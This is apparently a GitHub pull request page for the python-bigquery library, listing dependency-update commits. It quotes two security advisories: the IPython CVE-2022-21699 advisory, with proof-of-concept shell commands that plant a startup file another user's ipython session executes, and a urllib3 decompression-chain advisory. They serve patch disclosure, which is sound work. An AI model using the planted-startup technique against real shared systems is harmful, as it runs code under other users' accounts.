  • docs: revised relax column mode sample (Customise Sentiment Analysis #1467)
  • chore: [autoapprove] Update black and isort to latest versions (Adding sample python DAG and gcs_to_gcs operator as plugin #1678)
  • chore: upgrade mypy (Add Composer Environment Migration script #1705)
  • chore(deps): bump urllib3 from 1.26.15 to 1.26.18 in /samples/geography (Add GCF imagemagick samples #1684)
  • chore(deps): update dependency pyarrow to v14 [security] (Copy_environment should check prerequisites before running #1718)
  • chore: standardize samples directory (code samples don't tell which libraries to import #1727)
  • chore: standardize samples directory - delete unneeded dependencies (Fix Environment Migration script for encryption #1732)
  • feat: Add support for Python 3.12 (Update to new Nox #1736)
  • feat: add Client.query_and_wait which directly returns a RowIterator of results (add test modules to requirements.txt for iot examples #1722)
  • chore: cleanup resources at startup (The main function has to be written in reuse-able way.  #1741)
  • docs: update multiple samples to change query to query_and_wait (upgrade DLP version and fix tests #1784)
  • docs: update the query with no cache sample to use query_and_wait API (Added Bu Sun's updates, fixed some lint errors #1770)
  • docs: remove unused query code sample (Video Intelligence API: SpeechTranscription #1769)
  • docs: Updates query to query and wait in samples/desktopapp/user_credentials.py (Include the comma in the translation #1787)
  • docs: update client_query_destination_table.py sample to use query_and_wait (Add CHC API alpha datasets and FHIR samples and tests. #1783)
  • docs: update to use query_and_wait in client_query_w_positional_params.py (Minor fixes. #1786)
  • Docs: update the query destination table legacy file to use query_and_wait API (Transcribe async misses sentences  #1775)
  • docs: update sample for query_to_arrow to use query_and_wait API (Time series tests use random unique name to avoid limits #1776)
  • docs: update query_external_sheets_permanent_table.py to use query_and_wait API (Handle delete Not Found exceptions if needed #1778)
  • docs: update to use API (Delayed automatic save to avoid API limit #1781)
  • docs: update to use query_and_wait in samples/client_query_w_timestamp_params.py (Updates needed to use in the docs #1785)
  • docs: update to_geodataframe to use query_and_wait functionality (Pub/Sub end-to-end sample #1800)
  • docs: update client_query_w_named_params.py to use query_and_wait API (Example code: Returning all speech transcriptions via loop #1782)
  • docs(samples): updates to urllib3 constraint for Python 3.7 ([Asset] Add requirements.txt #1834)
  • chore(deps): update all dependencies (Udpate Beta Vision samples to use beta tags #1640)
  • chore: use mock from unittest (Revert "Add Bigtable table admin sample (#1549)" #1823)
  • chore(deps): update all dependencies (Bigtable autoscaler: Add Dockerfile #1835)
  • chore(deps): update all dependencies (feat: video speech transcription #1849)
  • chore(deps): update dependency pyarrow to v15.0.2 (update samples for product search GA #1861)
  • fix: update error logging when converting to pyarrow column fails (Update Cloud Spanner sample method name to match action. #1836)
  • chore(deps): update dependency google-auth to v2.29.0 (Use default font #1865)
  • chore(deps): update dependency google-api-core to v2.18.0 (Test form of result only, not contents #1866)
  • feat: add fields parameter to set_iam_policy for consistency with update methods (Add sample to delete data. #1872)
  • chore(deps): update all dependencies (transcribe_streaming_mic.py not giving proper result #1873)
  • fix: make pyarrow an optional dependency post-3.20.0 yanked release (DLP call was missing a parameter #1879)
  • chore(deps): update all dependencies (Type correction #1875)
  • chore(deps): update all dependencies (Delete file. #1882)
  • chore(deps): update all dependencies ( Moved the imports and region tags inside the functions #1891)
  • chore(deps): update dependency idna to v3.7 [security] (Removed sample using discontinued channel API #1896)
  • chore(deps): update all dependencies (Update sample output #1893)
  • chore(deps): update all dependencies (fix decode problem #1904)
  • chore(deps): update all dependencies (Updates Cloud IoT core betas #1916)
  • chore(deps): update all dependencies (Add inspect table code sample for DLP and some nit fixes #1921)
  • chore(deps): update all dependencies (Updated comment about the aud claim. #1926)
  • chore(deps): update all dependencies (Added code samples for stored infoTypes. #1934)
  • chore(deps): bump requests from 2.31.0 to 2.32.2 in /samples/geography (Per internal documentation complaint, fix the naming. #1933)
  • chore(deps): update all dependencies (Note that ancestor queries with filters typically require a composite… #1938)
  • testing: update BQML training option (Disconnected: 1: Out of memory. #1943)
  • chore(deps): update all dependencies (logging.warn() is deprecated #1946)
  • chore(deps): update all dependencies (Create blackbelt-aks-hackfest.git #1954)
  • chore(deps): update dependency urllib3 to v2.2.2 [security] (Firestore array queries #1959)
  • chore(deps): update all dependencies (stop instances in all zones #1955)
  • chore(deps): update dependency certifi to v2024.7.4 [security] (Add Cloud Scheduler sample #1968)
  • feat: use bigquery-magics package for the %%bigquery magic (broken request.data.decode('utf-8') call #1965)
  • docs: add short mode query sample & test (New trampoline image with new libraries in place. #1978)
  • chore(deps): update all dependencies (Update nox package name #1982)
  • chore(deps): update all dependencies (Moves Gateway demo to MQTT folder #1983)
  • chore(deps): update all dependencies (Update Cloud SQL connectivity sample region tags.  #1993)
  • chore(deps): update all dependencies (Vision API: further fixes. #2002)
  • chore(deps): update all dependencies (Cloud Pub/Sub Quickstart V2 #2004)
  • testing: remove testing identity override (Update datasets tests for whiteList->keepList change. #2011)
  • chore(deps): update all dependencies (Auto-update dependencies. #2005)
  • chore(deps): update all dependencies (extend Auto ML Vision api with export functionality #2017)
  • chore(deps): update all dependencies (Cloud Bigtable Region tag consistency #2018)
  • chore(deps): update all dependencies (fix: only use print statement for logging sample #2025)
  • chore(deps): update all dependencies (How to acknowledge message using background function? #2029)
  • chore(deps): bump fiona from 1.9.6 to 1.10.0 in /samples/geography (Add Profiler code samples #2027)
  • chore(deps): update all dependencies (Firebase authentication with e-mail provider is not redirecting #2031)
  • chore(deps): update all dependencies (Client subscribing in on_connect,but messages sent on config not received  #2033)
  • build: use multiScm for Kokoro release builds (Adds Gateways codelab (Python) #2049)
  • chore(deps): update all dependencies (Job created successfully but not visible on google jobs website #2038)
  • chore(deps): update all dependencies (Set a timeout when waiting for query job to finish. #2064)
  • chore(deps): update all dependencies (Add Cloud Spanner Batch DML sample #2068)
  • chore(deps): update all dependencies (Question: 403 err occurs when running make_iap_request.py #2070)
  • chore(deps): update all dependencies (Print actual number of messages pulled #2078)
  • chore(deps): update all dependencies (Data Labeling Beta samples #2096)
  • chore(deps): update dependency grpcio to v1.69.0 (delete this file. #2102)
  • test: add unit test covering the case where worker streams are stopped early (Error in the Cloud Function MySQL example #2127)
  • deps: Remove Python 3.7 and 3.8 as supported runtimes (Update Dataproc samples to use Google Cloud Client Libraries. Handle global region clusters. #2133)
  • chore(deps): update all dependencies (update translate_text_with_glossary #2143)
  • chore(deps): update dependency pyasn1-modules to v0.4.2 (added back missing file package import #2150)
  • chore(deps): update dependency shapely to v2.1.0 (Converted parsed --max-result argument from string to integer. #2155)
  • chore(deps): update dependency typing-extensions to v4.13.1 (Update task sample comments #2156)
  • test: adds pytest-xdist to speed up processing of CI/CD checks (Add queryWithParameter to Cloud Spanner sample. #2153)
  • chore(deps): update all dependencies (Update Dataproc samples. #2158)
  • chore(deps): update dependency db-dtypes to v1.4.3 (BQML Tutorial for Feature Engineering #2178)
  • chore(deps): update all dependencies to v3.32.0 (Remove deprecated 'bql' parameter #2179)
  • fix(deps): update all dependencies (Fix bigtable.Client #2184)
  • chore(deps): update dependency google-auth to v2.40.2 (GAE websockets support flask-socketio #2196)
  • docs: use query_and_wait in the array parameters sample (Commented out MySQL requirement with explanation #2202)
  • feat: job creation mode GA (Changed env var to match between app.yaml and main.py in cloud_sql/mysql #2190)
  • chore(deps): update dependency pytest-xdist to v3.7.0 (remove incorrect reference to Iris dataset #2203)
  • chore(deps): update all dependencies (renamed container_engine to kubernetes_engine #2205)
  • chore(deps): update all dependencies (Place import inside the function #2209)
  • chore(deps): update all dependencies (Move import inside region tags #2211)
  • chore(deps): update dependency requests to v2.32.4 (AutoML Vision Object Detection: import_data sample variable unclear #2213)
  • chore(deps): update dependency google-api-core to v2.25.1 (update videointelligence streaming samples #2215)
  • chore(deps): bump urllib3 from 2.4.0 to 2.5.0 in /samples/geography (Functions: improve existing sample #2220)
  • chore: add label job sample (Move import statements into tagged regions #2219)
  • chore(deps): update all dependencies (Update delete_full_collection sample to use batch_size as the limit #2216)
  • chore(deps): update all dependencies (Deflake bigtable and spanner tests. #2224)
  • chore(deps): update all dependencies (Python 2 compatibility for print statements #2226)
  • chore(deps): update dependency certifi to v2025.7.9 (Container Analysis samples #2232)
  • chore(deps): update dependency certifi to v2025.7.14 (ERROR from grpc._cython import cygrpc as _cygrpc ImportError: cannot import name cygrpc #2237)
  • chore(deps): update all dependencies to v3.35.0 (IoT - Exponential backoff algorithm wait time calculation error #2242)
  • chore(deps): update all dependencies (Update deidentify region tag. #2243)
  • chore(deps): update dependency matplotlib to v3.10.5 (Add Datatypes examples to Spanner sample. #2251)
  • chore(deps): update all dependencies (Add Run Button to Cloud Run Pub/Sub tutorial #2253)
  • chore(deps): update all dependencies (Update instructions for pgsql connect #2259)
  • chore(deps): update all dependencies (Fix "delete_full_collection" snippet #2275)
  • chore(deps): update all dependencies (Add GitHub Notebook for BQML #2300)
  • chore(deps): update dependency google-auth to v2.41.1 (BigQuery: Add sample for explicitly creating client from service acco… #2312)
  • chore(deps): update all dependencies (explicit credentials not detected for storage client? #2314)
  • chore(python): Add Python 3.14 to python post processor image (Update base_company_sample.py #2317)
  • chore(deps): update dependency urllib3 to v2.6.0 [security] (Security flaw: Cloud Endpoint - API Key authentication works even with incorrect API keys #2342)
  • chore(deps): update dependency urllib3 to v2.6.3 [security] (refactor: Rename data to event #2357)
  • chore(deps): update dependency geopandas to v1.1.2 [security] (nginx 502 error #2411)
  • chore(deps): update dependency pyasn1 to v0.6.2 [security] (fix users bug and emphasize kernel restart #2407)

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

gemini-code-assist[bot] reacted with eyes emoji
All reactions
  • 👀 1 reaction
renovate-bot and others added 30 commits January 5, 2022 13:44
@renovate-bot @tswast
chore(deps): update all dependencies (#1091)
f231c67
* chore(deps): update all dependencies

* don't directly depend on cachetools

* remove importlib metadata as direct dependency

* remove zipp which comes from transitive dependency

Co-authored-by: Tim Swast <[email protected]>
@renovate-bot
chore(deps): update all dependencies (#1098)
1e52497
@gcf-owl-bot
chore(samples): Add check for tests in directory (#1103)
67d376c
Source-Link: googleapis/synthtool@52aef91
Post-Processor: gcr.io/cloud-devrel-public-resources/owlbot-python:latest@sha256:36a95b8f494e4674dc9eee9af98961293b51b86b3649942aac800ae6c1f796d4

Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
@renovate-bot @tswast @parthea
chore(deps): update all dependencies (#1101)
3cc9429
* chore(deps): update all dependencies

* test: limit deps versions by python

* remove pyproj, as it is only a transitive dependency

Co-authored-by: Tim Swast <[email protected]>
Co-authored-by: Anthonios Partheniou <[email protected]>
@gcf-owl-bot
chore(python): Noxfile recognizes that tests can live in a folder (#1115
9c2ad1e
)

Source-Link: googleapis/synthtool@4760d8d
Post-Processor: gcr.io/cloud-devrel-public-resources/owlbot-python:latest@sha256:f0e4b51deef56bed74d3e2359c583fc104a8d6367da3984fc5c66938db738828

Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
@tswast
docs: show common job properties in get_job and cancel_job samples (
d0fc45d
#1137)

* docs: show common job properties in `get_job` and `cancel_job` samples

* flake8
@renovate-bot
chore(deps): update dependency ipython to v8.0.1 [security] (#1126)
d81b554
[![WhiteSource Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ipython](https://ipython.org) ([source](https://togithub.com/ipython/ipython)) | `==8.0.0` -> `==8.0.1` | [![age](https://badges.renovateapi.com/packages/pypi/ipython/8.0.1/age-slim)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://badges.renovateapi.com/packages/pypi/ipython/8.0.1/adoption-slim)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://badges.renovateapi.com/packages/pypi/ipython/8.0.1/compatibility-slim/8.0.0)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://badges.renovateapi.com/packages/pypi/ipython/8.0.1/confidence-slim/8.0.0)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2022-21699](https://togithub.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x)

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
 
Proof of concept

User1:
```
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```

User2:
```
cd /tmp
ipython
```

 

User2 will see:
```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```

## Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, 

Version 8.0.1, 7.31.1 for current Python version are recommended. 
Version 7.16.3 has also been published for Python 3.6 users, 
Version 5.11 (source only, 5.x branch on github) for older Python versions.

---

### Release Notes

<details>
<summary>ipython/ipython</summary>

### [`v8.0.1`](https://togithub.com/ipython/ipython/compare/8.0.0...8.0.1)

[Compare Source](https://togithub.com/ipython/ipython/compare/8.0.0...8.0.1)

</details>

---

### Configuration

📅 **Schedule**: "" (UTC).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Renovate will not automatically rebase this PR, because other commits have been found.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, click this checkbox.

---

This PR has been generated by [WhiteSource Renovate](https://renovate.whitesourcesoftware.com). View repository job log [here](https://app.renovatebot.com/dashboard#github/googleapis/python-bigquery).
@renovate-bot
chore(deps): update dependency ipython [security] (#1154)
0d8d8fb
@busunkim96 @tswast @gcf-owl-bot
samples: remove browser option from user credentials sample (#1147)
5f243e3
* samples: remove run_console from user credentials sample

* Update samples/snippets/user_credentials.py

Co-authored-by: Tim Swast <[email protected]>

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

Co-authored-by: Tim Swast <[email protected]>
Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
@renovate-bot @tswast
deps: allow pyarrow 7.0 (#1112)
172f6ee
* chore(deps): update all dependencies

* Apply suggestions from code review

* Apply suggestions from code review

Co-authored-by: Tim Swast <[email protected]>
@gcf-owl-bot
chore: Adding support for pytest-xdist and pytest-parallel (#1160)
72e2c2b
Source-Link: googleapis/synthtool@82f5cb2
Post-Processor: gcr.io/cloud-devrel-public-resources/owlbot-python:latest@sha256:5d8da01438ece4021d135433f2cf3227aa39ef0eaccc941d62aa35e6902832ae

Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
@renovate-bot @parthea
chore(deps): update all dependencies (#1156)
5fb2ee7
* chore(deps): update all dependencies

* revert ipython changes for python_version < 3.9

* revert changes

* revert ipython changes for python < 3.9

* revert changes

* revert changes

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot @parthea
chore(deps): update all dependencies (#1162)
dddcf2e
* chore(deps): update all dependencies

* remove py36 pin

* remove py36 pin

* remove py36 pin

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot @parthea
chore(deps): update all dependencies (#1163)
39d89a5
* chore(deps): update all dependencies

* revert

* revert

* fix typo

* revert

Co-authored-by: Anthonios Partheniou <[email protected]>
@steffnay
fix: upgrade black (#1177)
d6e8918
* fix: upgrade black

* upgrade black
@tswast
fix!: remove out-of-date BigQuery ML protocol buffers (#1178)
767a71d
deps!: BigQuery Storage and pyarrow are required dependencies (#776)

fix!: use nullable `Int64` and `boolean` dtypes in `to_dataframe` (#786) 

feat!: destination tables are no-longer removed by `create_job` (#891)

feat!: In `to_dataframe`, use `dbdate` and `dbtime` dtypes from db-dtypes package for BigQuery DATE and TIME columns (#972)

fix!: automatically convert out-of-bounds dates in `to_dataframe`, remove `date_as_object` argument (#972)

feat!: mark the package as type-checked (#1058)

feat!: default to DATETIME type when loading timezone-naive datetimes from Pandas (#1061)

feat: add `api_method` parameter to `Client.query` to select `INSERT` or `QUERY` API (#967)

fix: improve type annotations for mypy validation (#1081)

feat: use `StandardSqlField` class for `Model.feature_columns` and `Model.label_columns` (#1117)

docs: Add migration guide from version 2.x to 3.x (#1027)

Release-As: 3.0.0
@renovate-bot @parthea @gcf-owl-bot
chore(deps): update all dependencies (#1164)
b3dd6d9
* chore(deps): update all dependencies

* revert

* revert

* revert

* revert

* revert

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

Co-authored-by: Anthonios Partheniou <[email protected]>
Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
@renovate-bot @parthea
chore(deps): update all dependencies (#1183)
d1bb74f
* chore(deps): update all dependencies

* revert environment specific pins

* fix typo

* revert environment specific pins

* revert environment specific pins

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot @parthea
chore: use === in requirements.txt for environment specific pins (#1184)
878e47a
* chore(deps): update all dependencies

* chore(deps): use === in requirements.txt for environment specific pins

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot @parthea
chore(deps): update all dependencies (#1185)
6a07af9
* chore(deps): update all dependencies

* chore: revert version bump for environment specific pins

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot
chore(deps): update all dependencies (#1192)
c56fa1e
@renovate-bot @parthea
chore(deps): update dependency click to v8.1.2 (#1197)
4f46e74
Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot
chore(deps): update all dependencies (#1200)
a658af5
@renovate-bot
chore(deps): update dependency google-cloud-bigquery-storage to v2.13…
fe09ea1
….1 (#1203)
@renovate-bot
chore(deps): update dependency google-auth to v2.6.3 (#1206)
118d0bb
@renovate-bot
chore(deps): update dependency pyparsing to v3.0.8 (#1210)
6e0266d
@renovate-bot
chore(deps): update dependency google-cloud-core to v2.3.0 (#1211)
3d72600
@renovate-bot
chore(deps): update dependency google-auth to v2.6.4 (#1214)
81aae7e
@renovate-bot
chore(deps): update dependency google-api-core to v2.7.2 (#1215)
7982abb
@jli
fix: export bigquery.HivePartitioningOptions (#1217)
b1bd6f6
renovate-bot and others added 26 commits June 4, 2025 15:19
@renovate-bot @Linchin
chore(deps): update all dependencies (#2209)
81e9d49
* chore(deps): update all dependencies

* pin geopandas===1.0.1 for python <= 3.9

---------

Co-authored-by: Lingqing Gan <[email protected]>
@renovate-bot @chalmerlowe
chore(deps): update all dependencies (#2211)
7b57832
Co-authored-by: Chalmer Lowe <[email protected]>
@renovate-bot
chore(deps): update dependency requests to v2.32.4 (#2213)
0ff5d2f
@renovate-bot
chore(deps): update dependency google-api-core to v2.25.1 (#2215)
65d2b22
@dependabot
chore(deps): bump urllib3 from 2.4.0 to 2.5.0 in /samples/geography (#…
c733265
…2220)

Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.4.0 to 2.5.0.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](urllib3/urllib3@2.4.0...2.5.0)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.5.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
@leahecole @chalmerlowe
chore: add label job sample (#2219)
eb196af
* chore: add label job sample

* lint

* remove unnecessary api call

* Apply suggestions from code review

Co-authored-by: Chalmer Lowe <[email protected]>

---------

Co-authored-by: Chalmer Lowe <[email protected]>
@renovate-bot @Linchin
chore(deps): update all dependencies (#2216)
c383c65
Co-authored-by: Lingqing Gan <[email protected]>
@renovate-bot
chore(deps): update all dependencies (#2224)
a42ab2e
@renovate-bot
chore(deps): update all dependencies (#2226)
fa6325b
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [bigquery-magics](https://redirect.github.com/googleapis/python-bigquery-magics) | `==0.10.0` -> `==0.10.1` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/bigquery-magics/0.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/bigquery-magics/0.10.0/0.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [bigquery_magics](https://redirect.github.com/googleapis/python-bigquery-magics) | `==0.10.0` -> `==0.10.1` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/bigquery-magics/0.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/bigquery-magics/0.10.0/0.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [ipython](https://redirect.github.com/ipython/ipython) | `==9.3.0` -> `==9.4.0` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/ipython/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/ipython/9.3.0/9.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [pandas](https://redirect.github.com/pandas-dev/pandas) | `==2.3.0` -> `==2.3.1` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/pandas/2.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pandas/2.3.0/2.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [pytest-xdist](https://redirect.github.com/pytest-dev/pytest-xdist) ([changelog](https://pytest-xdist.readthedocs.io/en/latest/changelog.html)) | `==3.7.0` -> `==3.8.0` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/pytest-xdist/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pytest-xdist/3.7.0/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typing-extensions](https://redirect.github.com/python/typing_extensions) ([changelog](https://redirect.github.com/python/typing_extensions/blob/main/CHANGELOG.md)) | `==4.14.0` -> `==4.14.1` | [![age](https://developer.mend.io/api/mc/badges/age/pypi/typing-extensions/4.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/typing-extensions/4.14.0/4.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>googleapis/python-bigquery-magics (bigquery-magics)</summary>

### [`v0.10.1`](https://redirect.github.com/googleapis/python-bigquery-magics/blob/HEAD/CHANGELOG.md#0101-2025-07-07)

[Compare Source](https://redirect.github.com/googleapis/python-bigquery-magics/compare/v0.10.0...v0.10.1)

##### Dependencies

- Move spanner-graph-notebook back to version 1.1.6 ([#&#8203;126](https://redirect.github.com/googleapis/python-bigquery-magics/issues/126)) ([17ee695](https://redirect.github.com/googleapis/python-bigquery-magics/commit/17ee6956c8fec740440836609a9106e900b63074))

</details>

<details>
<summary>ipython/ipython (ipython)</summary>

### [`v9.4.0`](https://redirect.github.com/ipython/ipython/compare/9.3.0...9.4.0)

[Compare Source](https://redirect.github.com/ipython/ipython/compare/9.3.0...9.4.0)

</details>

<details>
<summary>pandas-dev/pandas (pandas)</summary>

### [`v2.3.1`](https://redirect.github.com/pandas-dev/pandas/releases/tag/v2.3.1): Pandas 2.3.1

[Compare Source](https://redirect.github.com/pandas-dev/pandas/compare/v2.3.0...v2.3.1)

We are pleased to announce the release of pandas 2.3.1.
This release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.

See the [full whatsnew](https://pandas.pydata.org/pandas-docs/version/2.3.1/whatsnew/v2.3.1.html) for a list of all the changes.
Pandas 2.3.1 supports Python 3.9 and higher.

The release will be available on the conda-forge channel:

```
conda install pandas --channel conda-forge
```

Or via PyPI:

```
python3 -m pip install --upgrade pandas
```

Please report any issues with the release on the [pandas issue tracker](https://redirect.github.com/pandas-dev/pandas/issues).

Thanks to all the contributors who made this release possible.

</details>

<details>
<summary>pytest-dev/pytest-xdist (pytest-xdist)</summary>

### [`v3.8.0`](https://redirect.github.com/pytest-dev/pytest-xdist/blob/HEAD/CHANGELOG.rst#pytest-xdist-380-2025-06-30)

[Compare Source](https://redirect.github.com/pytest-dev/pytest-xdist/compare/v3.7.0...v3.8.0)

\===============================

## Features

- `#&#8203;1083 <https://togithub.com/pytest-dev/pytest-xdist/issues/1083>`\_: Add `--no-loadscope-reorder` and `--loadscope-reorder` option to control whether to automatically reorder tests in loadscope for tests where relative ordering matters. This only applies when using `loadscope`.

  For example, \[test\_file\_1, test\_file\_2, ..., test\_file\_n] are given as input test files, if `--no-loadscope-reorder` is used, for either worker, the `test_file_a` will be executed before `test_file_b` only if `a < b`.

  The default behavior is to reorder the tests to maximize the number of tests that can be executed in parallel.

</details>

<details>
<summary>python/typing_extensions (typing-extensions)</summary>

### [`v4.14.1`](https://redirect.github.com/python/typing_extensions/blob/HEAD/CHANGELOG.md#Release-4141-July-4-2025)

[Compare Source](https://redirect.github.com/python/typing_extensions/compare/4.14.0...4.14.1)

- Fix usage of `typing_extensions.TypedDict` nested inside other types
  (e.g., `typing.Type[typing_extensions.TypedDict]`). This is not allowed by the
  type system but worked on older versions, so we maintain support.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/python-bigquery).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDEuMTcuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
@renovate-bot @chalmerlowe
chore(deps): update dependency certifi to v2025.7.9 (#2232)
c536b75
Co-authored-by: Chalmer Lowe <[email protected]>
@renovate-bot @chalmerlowe
chore(deps): update dependency certifi to v2025.7.14 (#2237)
c2b7906
Co-authored-by: Chalmer Lowe <[email protected]>
@renovate-bot
chore(deps): update all dependencies to v3.35.0 (#2242)
b046d6a
@renovate-bot
chore(deps): update all dependencies (#2243)
4be13ee
@renovate-bot
chore(deps): update dependency matplotlib to v3.10.5 (#2251)
70d1658
@renovate-bot @leahecole
chore(deps): update all dependencies (#2253)
953521b
Co-authored-by: Leah E. Cole <[email protected]>
@renovate-bot
chore(deps): update all dependencies (#2259)
c48797b
@renovate-bot
chore(deps): update all dependencies (#2275)
e452ea3
@renovate-bot
chore(deps): update all dependencies (#2300)
52c15e3
@renovate-bot
chore(deps): update dependency google-auth to v2.41.1 (#2312)
bd41b2a
@renovate-bot
chore(deps): update all dependencies (#2314)
e1a63ef
@gcf-owl-bot @chalmerlowe
chore(python): Add Python 3.14 to python post processor image (#2317)
f240fb0
* chore(python): Add Python 3.14 to python post processor image

Source-Link: googleapis/synthtool@16790a3
Post-Processor: gcr.io/cloud-devrel-public-resources/owlbot-python:latest@sha256:543e209e7c1c1ffe720eb4db1a3f045a75099304fb19aa11a47dc717b8aae2a9

* Update samples/snippets/noxfile.py

* Update samples/notebooks/noxfile.py

* Update samples/magics/noxfile.py

* Update samples/geography/noxfile.py

* Update samples/desktopapp/noxfile.py

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

* 🦉 Updates from OwlBot post-processor

See https://github.com/googleapis/repo-automation-bots/blob/main/packages/owl-bot/README.md

---------

Co-authored-by: Owl Bot <gcf-owl-bot[bot]@users.noreply.github.com>
Co-authored-by: Chalmer Lowe <[email protected]>
@renovate-bot @Linchin
chore(deps): update dependency urllib3 to v2.6.0 [security] (#2342)
bd147ea
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [urllib3](https://redirect.github.com/urllib3/urllib3)
([changelog](https://redirect.github.com/urllib3/urllib3/blob/main/CHANGES.rst))
| `==2.5.0` -> `==2.6.0` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/urllib3/2.6.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/urllib3/2.5.0/2.6.0?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-66418](https://redirect.github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53)

## Impact

urllib3 supports chained HTTP encoding algorithms for response content
according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).

However, the number of links in the decompression chain was unbounded
allowing a malicious server to insert a virtually unlimited number of
compression steps leading to high CPU usage and massive memory
allocation for the decompressed data.

## Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier for
HTTP requests to untrusted sources unless they disable content decoding
explicitly.

## Remediation

Upgrade to at least urllib3 v2.6.0 in which the library limits the
number of links to 5.

